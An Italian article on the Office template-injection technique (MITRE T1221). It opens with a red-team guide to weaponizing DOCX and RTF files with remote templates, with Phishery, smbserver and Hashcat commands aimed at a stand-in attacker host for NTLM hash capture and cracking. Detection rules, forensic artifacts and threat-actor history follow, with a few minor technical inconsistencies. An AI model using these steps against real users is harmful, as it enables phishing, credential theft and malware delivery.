Iniezione di Template: Template Injection (T1221)

In un esercizio red team, la costruzione di un documento con template injection segue tre fasi: preparazione dell'infrastruttura di hosting, weaponizzazione del documento, delivery via phishing.

Per la componente OOXML si parte da un .docx legittimo, che è di fatto un archivio ZIP. Estrai il contenuto con unzip documento.docx -d payload/, apri word/_rels/settings.xml.rels e modifica l'attributo Target della relazione di tipo attachedTemplate per puntare al tuo server: ad esempio Target="http://redteam.lab/template.dotm" TargetMode="External". Ricomprimi con zip -r weaponized.docx . mantenendo la struttura originale. Il file .dotm remoto ospitato sul server contiene la macro AutoOpen che scarica il secondo stadio.

Per la variante RTF, la tecnica è ancora più compatta: inserisci nel documento la stringa {\\template http://redteam.lab/payload.doc}* subito dopo l'header RTF. Word tenterà di caricare la risorsa all'apertura.

Per la simulazione del Forced Authentication in stile Dragonfly o DarkHydrus, il tool di riferimento è Phishery (open source, disponibile su GitHub) di Ryan Hanson, che genera automaticamente documenti Word con template injection puntati a un endpoint HTTPS con Basic Auth, catturando le credenziali NTLM o in chiaro. La sintassi tipica prevede:

phishery -u https://attacker.lab/doc.dotx -i template.docx -o output.docx

Per test SMB-based, sostituisci l'URL con \\attacker.lab\share\file e cattura gli hash NTLMv2 con Responder (open source) o Impacket smbserver.py (open source):

python3 smbserver.py -smb2support share /tmp/loot

Gli hash catturati si passano a Hashcat (open source) con mode 5600 per il cracking offline: hashcat -m 5600 hashes.txt rockyou.txt.

Per la fase di hosting del template malevolo, un semplice server Python (python3 -m http.server 80) è sufficiente in laboratorio; in scenari più realistici si usa Apache o Nginx con TLS via Let's Encrypt (gratuito) per aumentare la credibilità.

La catena si completa con l'esecuzione del payload di seconda fase: comunemente uno stager PowerShell generato con Sliver (open source), Havoc (open source) o Mythic (open source), evitando riferimenti a framework legacy dismessi. Ricorda di limitare l'infrastruttura al perimetro concordato nel Rules of Engagement e di ripulire i log del web server al termine dell'esercizio.

La detection di Template Injection richiede correlazione tra telemetria endpoint e traffico di rete, perché nessuna delle due dimensioni presa singolarmente è sufficiente.

Il segnale primario è la connessione di rete uscente originata direttamente da winword.exe, excel.exe o powerpnt.exe. In condizioni normali questi processi non contattano host esterni all'apertura di un documento locale, salvo scenari di licensing o telemetria Microsoft ben noti. La regola cardine su Sysmon (open source) usa EventID 3 (Network Connection) filtrando per Image uguale ai binari Office e DestinationIp non appartenente a range Microsoft. Su ambienti privi di Sysmon, gli eventi 4688 del Security log con auditing di process creation abilitato offrono visibilità sui processi figli spawnati dai client Office, mentre la telemetria di rete va integrata da firewall o proxy.

La seconda dimensione è la creazione di processi figli anomali. Un winword.exe che genera powershell.exe, cmd.exe, mshta.exe, rundll32.exe o wscript.exe è un forte indicatore di post-exploitation, specialmente se combinato temporalmente (finestra di 30-60 secondi) con la connessione uscente. Le regole Sigma (open source) della categoria proc_creation_win_office_shell coprono questo pattern.

Per il Forced Authentication via SMB il segnale è diverso: si osservano tentativi di connessione da client Office verso IP esterni sulla porta 445 o 139. Qualsiasi traffico SMB uscente verso Internet dovrebbe generare un alert ad alta priorità sui firewall perimetrali. Analogamente, richieste HTTPS con header WWW-Authenticate: NTLM verso domini non whitelistati indicano tentativi di credential harvesting.

La mitigazione M1031 (Network Intrusion Prevention) si concretizza con regole Snort o Suricata (open source) che ispezionano il body di risposta HTTP alla ricerca di magic bytes .dotm o .dotx verso file Office richiesti da processi non-browser. Soluzioni NDR commerciali come Zeek (open source) permettono di loggare tutti i download di file da parte di client Office in un canale dedicato per hunting retrospettivo.

Sul fronte preventivo, la mitigazione M1042 suggerisce di disabilitare via GPO il caricamento di template remoti tramite la chiave di registro HKCU\Software\Microsoft\Office<version>\Word\Options\DontUpdateLinks e le policy Trust Center che bloccano External Content.

I falsi positivi tipici derivano da template aziendali legittimi ospitati su SharePoint o file share interni: la baseline deve mappare i domini interni autorizzati per ridurre il rumore. Un ulteriore filtro utile è escludere connessioni verso range IP RFC1918 nella fase iniziale di rollout.

L'analisi forense di un caso di Template Injection parte dal documento stesso, che è un artefatto autoconsistente e ricco di indicatori.

Per un file OOXML, la prima operazione è estrarre l'archivio ZIP con unzip o con tool dedicati come oletools (open source, in particolare oleid e olevba) e oledump.py (open source) di Didier Stevens per file OLE tradizionali. Il file chiave è word/_rels/settings.xml.rels: cercare relazioni con Type contenente attachedTemplate e verificare l'attributo Target. Un URL esterno con TargetMode="External" verso un dominio non aziendale è indicatore diretto della tecnica. Il case study Chaes (S0631) documenta esattamente questa modifica sul settings.xml per fetchare il payload successivo.

Per file RTF, l'analisi si concentra sui control word. Il tool rtfobj dalla suite oletools estrae gli oggetti embedded, mentre una semplice ricerca con grep -a "\\\\\template"* nel binario rivela l'URL iniettato. WarzoneRAT (S0670) è stato distribuito con questa tecnica, sfruttando una DLL embedded nel template RTF.

Sulla timeline endpoint, gli artefatti da correlare sono molteplici. I file scaricati finiscono in *%LOCALAPPDATA%\Microsoft\Windows\INetCache\Content.MSO*, che rappresenta la cache di Office per contenuti remoti: la presenza di file .dotm o .dotx qui, con timestamp coincidente all'apertura del documento sospetto, conferma il successo del fetch. Le MRU list nel registro (HKCU\Software\Microsoft\Office<version>\Word\File MRU) documentano l'apertura del documento originario.

Gli UserAssist in HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist e le ShellBags aiutano a ricostruire la navigazione utente prima e dopo l'apertura. Le Jump List in *%APPDATA%\Microsoft\Windows\Recent\AutomaticDestinations* per Word (AppID a7bd71699cd38d1c) confermano l'interazione utente.

L'analisi di rete retrospettiva su Zeek o PCAP archiviati identifica le richieste HTTP GET verso il template remoto: cercare User-Agent contenente Microsoft Office Existence Discovery o Microsoft Office Protocol Discovery, firme distintive delle connessioni Office. Per il Forced Authentication, i log del firewall mostrano tentativi SMB uscenti, mentre i log NTLM di eventuale WPAD interno registrano l'handshake.

Dal punto di vista degli event log Windows, il Microsoft-Office-Alerts registra eventuali warning mostrati all'utente su contenuti esterni, e il Microsoft-Windows-Sysmon/Operational con EventID 22 traccia le query DNS effettuate da Office verso il dominio malevolo.

Sul fronte campagne, Operation Dream Job (C0022) attribuita a Lazarus ha usato DOCX per recuperare template DOTM malevoli su target difesa e aerospaziale, mentre Frankenstein (C0001) ha impiegato documenti trojanizzati con template remoti nel primo quadrimestre 2019.

L'adozione della Template Injection attraversa un ventaglio ampio di attori statuali e criminali, con motivazioni e geografie diverse ma un pattern operativo comune: sfruttare la fiducia dell'utente nei documenti Office come vettore di primo stadio silente.

APT28 (Fancy Bear), attribuito al GRU russo, ha weaponizzato documenti Word con funzione di remote template per recuperare macro malevole. L'uso della tecnica si inserisce nel suo modus operandi consolidato di spearphishing verso target governativi occidentali, entità NATO e organizzazioni sportive internazionali. La scelta della template injection risponde all'esigenza di evadere i controlli di sandboxing statici applicati agli allegati.

Dragonfly, cluster attribuito a interessi russi con focus sul settore energetico e infrastrutture critiche in Nord America ed Europa, ha adottato la variante SMB per innescare Forced Authentication, iniettando URL SMB in allegati Word spearphishing. Questa scelta strategica mira alla raccolta di credenziali NTLM di utenti privilegiati in ambienti ICS/OT dove il pivoting laterale è particolarmente prezioso.

Gamaredon Group, associato ai servizi russi FSB e attivo prevalentemente contro l'Ucraina, mostra l'uso più versatile della tecnica: DOCX che scaricano DOT malevoli, RTF template injection e persino iniezione di macro o template remoti in documenti già presenti sui sistemi compromessi, trasformando file legittimi in ulteriori vettori di infezione secondaria. Questo pattern operativo, definibile living-off-the-documents, complica significativamente la detection perché i file weaponizzati mantengono metadata originali legittimi.

DarkHydrus, attivo contro entità governative in Medio Oriente, ha impiegato lo strumento open source Phishery per iniettare URL di template remoti nei documenti Word, orchestrando campagne di credential harvesting via Forced Authentication. L'uso di tool pubblici da parte di un attore statuale evidenzia la tendenza a mescolare tecniche commodity con capacità custom per ridurre i costi di sviluppo e complicare l'attribuzione.

Confucius, cluster orientato al sud-est asiatico con focus su Pakistan e istituzioni militari regionali, ha combinato template injection con exploit RTF embedded, mostrando una maturità tecnica nel concatenare più vettori nello stesso documento. Inception e Tropic Trooper completano il quadro con impieghi rispettivamente contro target diplomatici europei e settore governativo taiwanese.

Sul fronte campagne, Operation Dream Job (C0022), attribuita a Lazarus Group e attiva tra settembre 2019 e agosto 2020, ha usato DOCX per fetchare template DOTM malevoli come parte dell'operazione di spionaggio contro difesa, aerospaziale e settore governativo in USA, Israele, Australia, Russia e India, con casi documentati di monetizzazione via BEC. Frankenstein (C0001), gennaio-aprile 2019, ha assemblato tool open source (inclusi componenti Empire) su documenti trojanizzati con template remoti, dimostrando come attori mediamente sofisticati possano ottenere risultati significativi combinando componenti pubblici.

Il trend consolidato indica che la template injection rimane un vettore di scelta quando l'obiettivo è bypassare gateway email che ispezionano solo il contenuto statico degli allegati, e per operazioni di credential harvesting stealth in ambienti Windows enterprise.

MITRE ATT&CK T1221 (Template Injection), tattica TA0005. Gruppi: G0007, G0035, G0047, G0079, G0081, G0100, G0142. Software: S0631 (Chaes), S0670 (WarzoneRAT). Campagne: C0001 (Frankenstein), C0022 (Operation Dream Job). Mitigazioni: M1017, M1031, M1042, M1049. Detection: DET0566 con analytic AN1564. MITRE D3FEND per mapping difensivi. Integrazioni di conoscenza professionale su tool (Phishery, oletools, rtfobj, Sysmon, Sigma, Zeek, Hashcat, Impacket) verificati per sintassi e disponibilità.